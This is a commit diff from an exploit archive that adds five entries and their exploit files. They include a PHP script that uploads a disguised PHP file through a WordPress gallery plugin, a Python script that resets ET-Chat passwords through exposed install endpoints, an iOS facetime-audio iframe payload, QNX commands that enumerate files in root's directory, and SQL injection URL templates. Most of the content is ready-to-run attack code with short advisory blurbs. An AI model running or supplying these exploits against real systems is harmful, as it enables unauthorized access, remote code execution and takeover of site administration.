DB: 2015-12-29

5 new exploits

files.csv

@@ -35363,3 +35363,8 @@ id,file,description,date,author,platform,type,port
 39108,platforms/php/webapps/39108.txt,"POSH 3.1.x 'addtoapplication.php' SQL Injection Vulnerability",2014-02-26,"Anthony BAUBE",php,webapps,0
 39109,platforms/php/webapps/39109.txt,"WordPress Relevanssi Plugin 'category_name' Parameter SQL Injection Vulnerability",2014-03-04,anonymous,php,webapps,0
 39110,platforms/php/webapps/39110.txt,"Cory Jobs Search 'cid' Parameter SQL Injection Vulnerability",2014-03-05,Slotleet,php,webapps,0
+39111,platforms/php/webapps/39111.php,"WordPress Premium Gallery Manager Plugin Arbitrary File Upload Vulnerability",2014-03-06,eX-Sh1Ne,php,webapps,0
+39112,platforms/linux/local/39112.txt,"QNX Phgrafx File Enumeration Weakness",2014-03-10,cenobyte,linux,local,0
+39113,platforms/php/webapps/39113.txt,"Professional Designer E-Store 'id' Parameter Multiple SQL Injection Vulnerabilities",2014-03-08,"Nawaf Alkeraithe",php,webapps,0
+39114,platforms/ios/remote/39114.txt,"Apple iOS <= 4.2.1 'facetime-audio://' Security Bypass Vulnerability",2014-03-10,"Guillaume Ross",ios,remote,0
+39115,platforms/multiple/remote/39115.py,"ET - Chat Password Reset Security Bypass Vulnerability",2014-03-09,IRH,multiple,remote,0

platforms/ios/remote/39114.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/66108/info
+
+Apple iOS is affected by a security-bypass vulnerability.
+
+Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in further attacks.
+
+These issues affect Apple iOS versions prior to 7.1.
+
+<iframe src="facetime-audio://user () host com"></iframe> 

platforms/linux/local/39112.txt

@@ -0,0 +1,24 @@
+source: www.securityfocus.com/bid/66098/info
+
+QNX Phgrafx is prone to a file-enumeration weakness.
+
+An attacker can exploit this issue to enumerate the files present in the system's root directory; this may aid in further attacks.
+
+QNX 6.5.0 SP1, 6.5.0, 6.4.1, 6.3.0, and 6.2.0 are vulnerable; other versions may also be affected. 
+
+$ id
+uid=100(user) gid=100
+
+# directory /root/.ph exists:
+$ /usr/photon/bin/phgrafx -d /root/.ph
+load_display_conf(): No such file or directory
+
+# file /root/.profile exsts:
+$ /usr/photon/bin/phgrafx -d /root/.profile
+/root/.profile: opendir(): Not a directory
+load_display_conf(): Not a directory
+
+# /root/doesnotexist does not exist:
+$ /usr/photon/bin/phgrafx -d /root/doesnotexist
+/root/doesnotexist: opendir(): No such file or directory
+load_display_conf(): No such file or directory

platforms/multiple/remote/39115.py

@@ -0,0 +1,26 @@
+source: http://www.securityfocus.com/bid/66149/info
+
+ET - Chat is prone to a security bypass vulnerability.
+
+An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.
+
+ET - Chat 3.0.7 is vulnerable; other versions may also be affected.
+
+#!/usr/bin/env python
+__author__ = 'IRH'
+print "Example: et-chat.py http://et-chat.com/chat"
+
+import urllib
+import sys
+
+url = sys.argv[1]
+url1 = url+"/?InstallIndex"
+url2 = url+"/?InstallMake"
+
+checkurl = urllib.urlopen(url1)
+
+if checkurl.code == 200 :
+    urllib.urlopen(url2)
+    print "Password Was Reseted!! Enjoy ;)"
+else:
+    print "Site is not Vulnerability"

platforms/php/webapps/39111.php

@@ -0,0 +1,19 @@
+source: http://www.securityfocus.com/bid/66044/info
+
+Premium Gallery Manager plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.
+
+An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks may also possible. 
+
+<?php
+$uploadfile="Sh1Ne.php.jpg";
+$ch =
+curl_init("http://www.example.com/wp-content/plugins/Premium_Gallery_Manager/uploadify/uploadify.php");
+curl_setopt($ch, CURLOPT_POST, true);
+curl_setopt($ch, CURLOPT_POSTFIELDS,
+         array('Filedata'=>"@$uploadfile", 
+'folder'=>'/wp-content/plugins/Premium_Gallery_Manager/uploadify/'));
+curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+$postResult = curl_exec($ch);
+curl_close($ch);
+print "$postResult"; 
+?>

platforms/php/webapps/39113.txt

@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/66100/info
+
+E-Store is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+E-Store 1.0 and 2.0 are vulnerable; other versions may also be affected. 
+
+http://www.example.com/page.php?id=[SQL Injection]
+
+http://www.example.com/news.php?id=[SQL Injection]